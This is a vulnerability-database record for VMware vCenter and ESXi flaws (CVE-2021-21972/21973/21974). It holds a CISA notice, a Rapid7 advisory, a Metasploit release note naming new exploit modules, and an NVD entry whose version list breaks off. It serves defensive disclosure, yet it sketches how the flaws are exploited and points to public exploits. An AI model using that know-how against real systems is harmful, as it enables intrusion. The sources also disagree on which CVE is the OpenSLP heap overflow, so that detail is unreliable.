{"id": "CISA:CB32DB4C2EA92462F387E1DA6C08F57E", "type": "cisa", "bulletinFamily": "info", "title": "VMware Releases Multiple Security Updates", "description": "VMware has released security updates to address multiple vulnerabilities\u2014CVE-2021-21972, CVE-2021-21973, CVE-2021-21974\u2014in ESXi, vCenter Server, and Cloud Foundation. A remote attacker could exploit some of these vulnerabilities to take control of an affected system.\n\nCISA encourages users and administrators to review VMware Security Advisory [VMSA-2021-0002](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) and apply the necessary updates.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/02/24/vmware-releases-multiple-security-updates>); we'd welcome your feedback.\n", "published": "2021-02-24T00:00:00", "modified": "2021-02-24T00:00:00", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/02/24/vmware-releases-multiple-security-updates", "reporter": "CISA", "references": ["https://www.vmware.com/security/advisories/VMSA-2021-0002.html"], "cvelist": ["CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974"], "lastseen": "2021-03-08T18:39:05", "viewCount": 35, "enchantments": {"dependencies": {"references": [{"type": "rapid7blog", "idList": ["RAPID7BLOG:7F5516EB3D3811BAE47D74129049D93F", "RAPID7BLOG:B253581ECA2FCB1FA25D45B69A6D7AE5"]}, {"type": "cve", "idList": ["CVE-2021-21974", "CVE-2021-21973", "CVE-2021-21972"]}, {"type": "threatpost", "idList": ["THREATPOST:2243706D17F2A1E930A00F49D8E30720"]}, {"type": "attackerkb", "idList": ["AKB:B3E0B6D7-814D-4DB3-BA2B-8C2F79B7BE7B"]}, {"type": "nessus", "idList": ["VMWARE_VCENTER_VMSA-2021-0002.NASL", "VMWARE_ESXI_VMSA-2021-0002.NASL"]}, {"type": "wallarmlab", "idList": ["WALLARMLAB:7A0E7E3752712070F3E75CEF26AC2CC0"]}, {"type": "thn", "idList": ["THN:87AE96960D76D6C84D9CF86C2DDB837C"]}, {"type": "zdi", "idList": ["ZDI-21-250"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:161695", "PACKETSTORM:161590", "PACKETSTORM:161527"]}, {"type": "exploitdb", "idList": ["EDB-ID:49602"]}], "modified": "2021-03-08T18:39:05", "rev": 2}, "score": {"value": 5.5, "vector": "NONE", "modified": "2021-03-08T18:39:05", "rev": 2}, "vulnersScore": 5.5}, "wildExploited": false, "immutableFields": []}

{"rapid7blog": [{"lastseen": "2021-03-05T15:09:20", "bulletinFamily": "info", "cvelist": ["CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974"], "description": "\n\n_This blog post was co-authored by Bob Rudis and Caitlin Condon. _\n\n## What\u2019s up?\n\nOn Feb. 23, 2021, VMware published an [advisory](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) (VMSA-2021-0002) describing three weaknesses affecting VMware ESXi, VMware vCenter Server, and VMware Cloud Foundation.\n\nBefore digging into the individual vulnerabilities, it is vital that all organizations that use the HTML5 VMware vSphere Client, i.e., VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2) _immediately_ restrict network access to those clients\u2014especially if they are not segmented off on a management network\u2014implement the mitigation noted below, and consider performing accelerated/immediate patching on those systems.\n\n## Vulnerability details and recommendations\n\n**CVE-2021-21972 **is a critical (CVSSv3 base 9.8) unauthenticated remote code execution vulnerability in the HTML5 vSphere client. Any malicious actor with access to port 443 can exploit this weakness and execute commands with unrestricted privileges. \n\nPT Swarm has [provided a detailed walkthrough](<https://swarm.ptsecurity.com/unauth-rce-vmware/>) of this weakness and how to exploit it.\n\nRapid7 researchers have independently analyzed, tested, and confirmed the exploitability of this weakness and have provided [a full technical analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=blog#rapid7-analysis>).\n\nProof-of-concept working exploits are beginning to appear on public code-sharing sites.\n\nOrganizations should restrict access to this plugin and patch affected systems immediately (i.e., not wait for standard patch change windows).\n\nVMware has [provided steps for a temporary mitigation](<https://kb.vmware.com/s/article/82374>), which involves disabling the plugin.\n\n**CVE-2021-21973 **is an important (CVSSv3 base 8.8) heap-overflow-based remote code execution vulnerability in VMware ESXi OpenSLP. Attackers with same-segment network access to port 427 on affected systems may be able to use the heap-overflow weakness to perform remote code execution.\n\nVMware has [provided steps for a temporary mitigation](<https://kb.vmware.com/s/article/76372>), which involves disabling the SLP service on affected systems.\n\nRapid7 recommends applying the vendor-provided patches as soon as possible after performing the vendor-recommended mitigation.\n\n**CVE-2021-21974** is a moderate (CVSSv3 base 5.3) server-side request forgery vulnerability affecting the HTML5 vSphere Client. Attackers with access to port 443 of affected systems can use this weakness to gain access to underlying system information.\n\nVMware has [provided steps for a temporary mitigation](<https://kb.vmware.com/s/article/82374>), which involves disabling the plugin.\n\nSince attackers will already be focusing on VMware systems due to the other high-severity weaknesses, Rapid7 recommends applying the vendor-provided patches as soon as possible after performing the vendor-recommended mitigation.\n\n## Attacker activity\n\nRapid7 Labs has not detected broad scanning for internet-facing VMware vCenter servers, but Bad Packets [has reported](<https://twitter.com/bad_packets/status/1364661586070102016?s=20>) that they\u2019ve detected opportunistic scanning. We will continue to monitor Project Heisenberg for attacker activity and update this blog post as we have more information.\n\n## Updates\n\n**2021-03-02** \u2022 As per our [updated analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972#rapid7-analysis>), members of the cybersecurity community (h/t to [@0x80O0oOverfl0w](<https://twitter.com/0x80O0oOverfl0w>)) have confirmed active, [opportunistic exploitation is occurring](<https://twitter.com/0x80O0oOverfl0w/status/1366754245870030849>). Rapid7 Labs has also identified active probing for internet-facing VMware vCenter instances. If your organization has not prioritized patching for this vulnerability Rapid7 strongly urges you to do so as soon as possible. \n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "modified": "2021-02-24T22:22:14", "published": "2021-02-24T22:22:14", "id": "RAPID7BLOG:7F5516EB3D3811BAE47D74129049D93F", "href": "https://blog.rapid7.com/2021/02/24/vmware-vcenter-server-cve-2021-21972-remote-code-execution-vulnerability-what-you-need-to-know/", "type": "rapid7blog", "title": "VMware vCenter Server CVE-2021-21972 Remote Code Execution Vulnerability: What You Need to Know", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-12T22:49:57", "bulletinFamily": "info", "cvelist": ["CVE-2017-8461", "CVE-2020-7200", "CVE-2021-21972"], "description": "## Archive directory traversals, now with your daily allowance of JSP\n\n\n\nIn a year already full of hot vulnerabilities, [CVE-2021-21972](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=blog>) in VMware's vCenter Server may already seem like old news. It's not, though! Thanks to [wvu-r7](<https://github.com/wvu-r7>) for grabbing this unauthenticated file upload combined with archive directory traversal to upload some sweet web shells. Also, thanks to [smcintyre-r7](<https://github.com/smcintyre-r7>) for reviewing and testing.\n\n## Keeping track of your favorite modules\n\nIf Metasploit's more than 3,500 modules ever feel like too much to track, [kalba-security](<https://github.com/kalba-security>) has added the `favorites` command to `msfconsole`. This new command allows users to save their favorite modules in a list viewable with `show favorites`. Thanks to [space-r7](<https://github.com/space-r7>) for helping get this over the line!\n\n## Google Summer of Code 2021\n\nWe are happy to announce that Metasploit Framework has been accepted for the 2021 iteration of Google Summer of Code! This year we are primarily looking for projects that increase visibility into the data that Metasploit collects or that make using exploitation APIs smoother. For more details on project ideas and how to apply, check out our [GSoC wiki page](<https://github.com/rapid7/metasploit-framework/wiki/How-to-Apply-to-GSoC>).\n\n## New Modules (3)\n\n * [VMware vCenter Server Unauthenticated OVA File Upload RCE](<https://github.com/rapid7/metasploit-framework/pull/14809>) by wvu, Mikhail Klyuchnikov, Viss, and mr_me, which exploits [CVE-2021-21972](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=blog>), an unauthenticated RCE in VMware Center.\n * [HPE Systems Insight Manager AMF Deserialization RCE](<https://github.com/rapid7/metasploit-framework/pull/14846>) by Grant Willcox, Harrison Neal, and Jang, which exploits ZDI-20-1449 ([CVE-2020-7200](<https://attackerkb.com/topics/31395hPcdh/cve-2020-7200?referrer=blog>)), targeting the `7.6.x` versions of HPE Systems Insight Manager software. Unauthenticated code execution as the user running the HPE SIM software (typically local administrator) can be obtained by sending a serialized AMF request to the `/simsearch/messagebroker/amfsecure` page.\n * [Microsoft Windows RRAS Service MIBEntryGet Overflow](<https://github.com/rapid7/metasploit-framework/pull/14847>) by Equation Group, Shadow Brokers, V\u00edctor Portal, and bcoles, which exploits CVE-2017-8461, a remote RCE in Routing and Remote Access Service (RRAS) on Windows Server 2003 identified as [CVE-2017-8461](<https://attackerkb.com/topics/cH3SJNSMsg/cve-2017-8461?referrer=blog>). This allows executing arbitrary commands with SYSTEM user privileges.\n\n## Enhancements and features\n\n * [#14201](<https://github.com/rapid7/metasploit-framework/pull/14201>) from [kalba-security](<https://github.com/kalba-security>) implements a new `msfconsole` command, `favorite`, which allows users to save favorite / commonly-used modules to a list for easy retrieval later.\n * [#14732](<https://github.com/rapid7/metasploit-framework/pull/14732>) from [zeroSteiner](<https://github.com/zeroSteiner>) adds a new Java deserialization mixin and modifies existing Java deserialization exploit modules to use the new mixin. Additionally, this fixes both the generation of the `ysoserial` payloads and the payloads themselves with improvements to the generation script, `find_ysoserial_offsets.rb` and pinning the `ysoserial` version that's used in the generation process.\n\n## Bugs Fixed\n\n * [#14792](<https://github.com/rapid7/metasploit-framework/pull/14792>) from [gwillcox-r7](<https://github.com/gwillcox-r7>) updates 11 modules targeting Windows systems that were improperly checking the environment architecture which led to broken WOW64 detection in some cases.\n * [#14871](<https://github.com/rapid7/metasploit-framework/pull/14871>) from [dwelch-r7](<https://github.com/dwelch-r7>) ensures that the BinData library is always available for use within modules\n * [#14874](<https://github.com/rapid7/metasploit-framework/pull/14874>) from [dwelch-r7](<https://github.com/dwelch-r7>) fixes autoloading when utilizing `Msf::RPC::Client` in external tooling.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.0.33...6.0.34](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-03-04T11%3A16%3A38-06%3A00..2021-03-11T15%3A08%3A27-06%3A00%22>)\n * [Full diff 6.0.33...6.0.34](<https://github.com/rapid7/metasploit-framework/compare/6.0.33...6.0.34>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "modified": "2021-03-12T21:45:48", "published": "2021-03-12T21:45:48", "id": "RAPID7BLOG:B253581ECA2FCB1FA25D45B69A6D7AE5", "href": "https://blog.rapid7.com/2021/03/12/metasploit-wrap-up-102/", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2021-03-05T16:41:20", "description": "OpenSLP as used in ESXi (7.0 before ESXi70U1c-17325551, 6.7 before ESXi670-202102401-SG, 6.5 before ESXi650-202102101-SG) has a heap-overflow vulnerability. A malicious actor residing within the same network segment as ESXi who has access to port 427 may be able to trigger the heap-overflow issue in OpenSLP service resulting in remote code execution.", "edition": 3, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-24T17:15:00", "title": "CVE-2021-21974", "type": "cve", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:A/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21974"], "modified": "2021-03-04T16:10:00", "cpe": ["cpe:/o:vmware:esxi:6.5", "cpe:/o:vmware:esxi:7.0.0", "cpe:/o:vmware:esxi:6.7"], "id": "CVE-2021-21974", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-21974", "cvss": {"score": 5.8, "vector": "AV:A/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:vmware:esxi:6.7:670-201904203-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810205:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904204:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004405:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912403:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004406:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707219:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810212:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810208:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201807001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904215:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201901401:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908207:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810206:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908218:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810210:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904217-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201803001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904202-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201903001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:-:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810222:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912301:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201905001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908205:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904214:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904227:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707103:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904218:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201903001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904217:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:-:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810101:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004403:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707204:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:7.0.0:b:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904219-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707205:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908101:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707213:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810224:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904229:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904211:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904228:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904227-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810102:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810232:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810103:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004407:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201808001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201912405:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201901001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904203:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-202007001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904207:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904229-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707212:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908206:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707101:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904228-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201908001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201703002:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201912402:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908102:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904222:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904206:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-202011001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201901001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201906002:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201712001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904215-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707201:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201901402:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904201-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904219:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201912401:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912404:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:7.0.0:u1a:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810234:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810214:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707214:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908211:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201912102:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810230:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904216:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912103:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-202010001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810211:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201910001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:7.0.0:-:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908215:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707215:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810216:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908212:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810231:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912002:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904222-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904208:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201911001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908208:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201808001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908209:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904224:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912102:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201912101:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904220:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810227:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-202011002:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908221:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904210:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908210:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201806001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201911401:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202008001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912402:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904226:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707206:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201912001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202011001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202011002:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810220:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201704001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908204:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707102:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904212:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912101:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201811001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904223-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707210:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707211:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810233:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904205:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904206-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707220:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004301:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201905001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810203:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707208:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904205-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904221:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904213:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201806001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810218:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904224-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904201:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201912403:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:7.0.0:u1b:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912401:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201810002:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904209:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004404:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810201:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904204-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202102001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707217:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-202006001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904208-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908104:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908217:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810226:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201703001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202010001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201901403:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004002:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810207:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201911402:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201710001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-202102001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201701001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904211-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810228:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201811002:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904221-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904225:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810202:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904207-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908214:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202006001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810229:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810219:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810209:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908103:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908220:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-202004401:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201908219:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201707221:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201810217:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201810001:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.5:650-201912104:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904202:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904210-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904218-ug:*:*:*:*:*:*", "cpe:2.3:o:vmware:esxi:6.7:670-201904216-ug:*:*:*:*:*:*", 